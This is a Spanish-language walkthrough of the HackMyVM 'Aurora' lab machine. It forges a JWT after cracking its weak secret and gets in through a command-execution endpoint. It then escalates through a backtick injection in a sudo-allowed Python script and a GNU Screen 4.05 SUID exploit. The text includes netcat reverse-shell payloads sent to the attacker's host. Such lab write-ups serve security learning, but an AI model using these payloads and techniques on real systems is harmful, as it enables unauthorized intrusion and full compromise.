HackMyVM - Aurora
- Json Web Tokens
- Abusing Python Script
- GNU Screen 4.5.0
Escaneo de puertos
❯ nmap -p- -T5 -v -n 192.168.1.14
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Escaneo de servicios
❯ nmap -sVC -v -p 22,3000 192.168.1.14
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 dbf946e520816ceec72508ab2251366c (RSA)
| 256 33c09564294723dd864ee6b8073367ad (ECDSA)
|_ 256 beaa6d4243dd7dd40e0d7478c189a136 (ED25519)
3000/tcp open http Node.js Express framework
|_http-title: Error
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto 3000
❯ curl -s http://192.168.1.14:3000
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /</pre>
</body>
</html>
Enumeración de directorios con el método post ya que por el método get no lo acepta.
❯ wfuzz -c -t 200 --hc=404 -X POST -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt "http://192.168.1.14:3000/FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.14:3000/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000053: 401 0 L 2 W 22 Ch "login"
000000825: 401 0 L 2 W 22 Ch "Login"
000002712: 400 0 L 6 W 29 Ch "Register"
000022423: 401 0 L 1 W 12 Ch "execute"
Login
Mando una petición POST a login y me muestra lo siguiente.
❯ curl -s -X POST http://192.168.1.14:3000/login;echo
Identifiants invalides
Register
En register y me dice que el rol no es válido.
❯ curl -s -X POST http://192.168.1.14:3000/Register;echo
The "role" field is not valid
Execute
En execute no estoy autorizado.
❯ curl -s -X POST http://192.168.1.14:3000/execute;echo
Unauthorized
Realizo un escaneo de rol y encuentra el rol user.
❯ wfuzz -c -t 200 --hc=404 --hw=6 -X POST -H "Content-Type:application/json" -w /usr/share/seclists/Discovery/Web-Content/api/objects-lowercase.txt -d '{"role":"FUZZ"}' "http://192.168.1.14:3000/Register"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.14:3000/Register
Total requests: 82
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000075: 500 0 L 5 W 32 Ch "user"
Mando una petición POST con el rol user me dice que el campo username no puede ser nulo, necesita un usuario.
❯ curl -s -X POST http://192.168.1.14:3000/Register -H "Content-Type:application/json" -d '{"role":"user"}';echo
Column 'username' cannot be null
Pruebo con el usuario admin y me dice que el usuario existe.
❯ curl -s -X POST http://192.168.1.14:3000/Register -H "Content-Type:application/json" -d '{"role":"user", "username":"admin"}';echo
Username already exists
Si pongo mi nombre de usuario me responde que necesita una contraseña.
❯ curl -s -X POST http://192.168.1.14:3000/Register -H "Content-Type:application/json" -d '{"role":"user", "username":"noname"}';echo
Column 'password' cannot be null
Me registro con mi nombre de usuario y le proporciono una contraseña.
❯ curl -s -X POST http://192.168.1.14:3000/Register -H "Content-Type:application/json" -d '{"role":"user", "username":"noname", "password":"1234"}';echo
Registration OK
Una vez logueado me genera un token.
❯ curl -s -X POST http://192.168.1.14:3000/login -H "Content-Type:application/json" -d '{"role":"user", "username":"noname", "password":"1234"}';echo
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5vbmFtZSIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjgzMzAwMTYwfQ.8rLJ8E_Ke-hHfXJVnzwOpnrUxK72SmZj8fLkMD6trfU"}
Con el token obtenido creo un archivo con el nombre hash para pasarselo a john.
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Im5vbmFtZSIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNjgzMzAwMTYwfQ.8rLJ8E_Ke-hHfXJVnzwOpnrUxK72SmZj8fLkMD6trfU" > hash
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 128/128 SSE2 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
nopassword (?)
Me voy a JWT.io pego mi token y cambio los parámetros de username y rol.
Y finalmente cambio your-256-bit-secret
por nopassword
.
Enumero execute para buscar el parámetro value.
❯ wfuzz -c -t 200 --hc=404 --hw=63 -X POST -H "Content-Type:application/json" -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzMzAwMTYwfQ.Nk5sSPZpxyvzZrCoWXIAxl3MTUIfQP9sMHlkhA67JG4' -d '{"FUZZ":"value"}' -w /usr/share/seclists/Discovery/Web-Content/common.txt "http://192.168.1.14:3000/execute"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.14:3000/execute
Total requests: 4713
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001163: 500 0 L 2 W 14 Ch "command"
Mando una petición por POST y obtengo el id del usuario ww-data
.
❯ curl -X POST http://192.168.1.14:3000/execute -H "Content-Type: application/json" -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzMzAwMTYwfQ.Nk5sSPZpxyvzZrCoWXIAxl3MTUIfQP9sMHlkhA67JG4' -d '{"command":"id"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Como tengo ejecución de comandos me mando una shell.
❯ curl -X POST http://192.168.1.14:3000/execute -H "Content-Type: application/json" -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjgzMzAwMTYwfQ.Nk5sSPZpxyvzZrCoWXIAxl3MTUIfQP9sMHlkhA67JG4' -d '{"command":"nc -e /bin/bash 192.168.1.18 1337"}'
Obtengo la shell.
❯ nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 36780
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enumero permisos de sudo.
www-data@aurora:~$ sudo -l
Matching Defaults entries for www-data on aurora:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on aurora:
(doro) NOPASSWD: /usr/bin/python3 /home/doro/tools.py *
Archivo tools.py
.
import os
import sys
def main():
if len(sys.argv) < 2:
print_help()
return
option = sys.argv[1]
if option == "--ping":
ping()
elif option == "--traceroute":
traceroute_ip()
else:
print("Invalid option.")
print_help()
def print_help():
print("Usage: python3 network_tool.py <option>")
print("Options:")
print("--ping Ping an IP address")
print("--traceroute Perform a traceroute on an IP address")
def ping():
ip_address = input("Enter an IP address: ")
forbidden_chars = ["&", ";", "(", ")", "||", "|", ">", "<", "*", "?"]
for char in forbidden_chars:
if char in ip_address:
print("Forbidden character found: {}".format(char))
sys.exit(1)
os.system('ping -c 2 ' + ip_address)
def traceroute_ip():
ip_address = input("Enter an IP address: ")
if not is_valid_ip(ip_address):
print("Invalid IP address.")
return
traceroute_command = "traceroute {}".format(ip_address)
os.system(traceroute_command)
def is_valid_ip(ip_address):
octets = ip_address.split(".")
if len(octets) != 4:
return False
for octet in octets:
if not octet.isdigit() or int(octet) < 0 or int(octet) > 255:
return False
return True
if __name__ == "__main__":
main()
La función ping() verifica si la dirección IP ingresada contiene caracteres prohibidos, si contiene caracteres prohibidos muestra un mensaje de error y finaliza el programa. Si la dirección IP no contiene caracteres prohibidos, se ejecutará el comando. Por otro lado, el uso de comillas invertidas permite la expansión de comandos.
Consigo pivotar de usuario www-data a doro de la siguiente forma.
www-data@aurora:/home/doro$ sudo -u doro /usr/bin/python3 /home/doro/tools.py --ping
Enter an IP address: `nc -e /bin/bash 192.168.1.18 1234`
Obtengo la shell de usuario doro.
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.14] 55376
script /dev/null -c bash
Script started, output log file is '/dev/null'.
doro@aurora:/opt/login-app$ id
id
uid=1000(doro) gid=1000(doro) groups=1000(doro)
Hago una búsqeda de archivos con permisos SUID.
doro@aurora:~$ find / -perm -4000 2>/dev/null
/usr/bin/screen
Verifico la versión del binario screen.
doro@aurora:~$ /usr/bin/screen -v
Screen version 4.05.00 (GNU) 10-Dec-16
Encuentro este exploit y obtengo el root.
doro@aurora:/tmp$ ./exploit.sh
~ gnu/screenroot ~
[+] First, we create our shell and library...
/tmp/libhax.c: In function ‘dropshell’:
/tmp/libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
7 | chmod("/tmp/rootshell", 04755);
| ^~~~~
/tmp/rootshell.c: In function ‘main’:
/tmp/rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~~~~~
/tmp/rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~~~~~
/tmp/rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^~~~~~~
/tmp/rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^~~~~~~
/tmp/rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~~~~~
/tmp/rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-doro.
# script /dev/null -c bash
Script started, output log file is '/dev/null'.
root@aurora:/etc# id
uid=0(root) gid=0(root) groups=0(root),1000(doro)
Y con esto ya tenemos resuelta la máquina Aurora.
Saludos!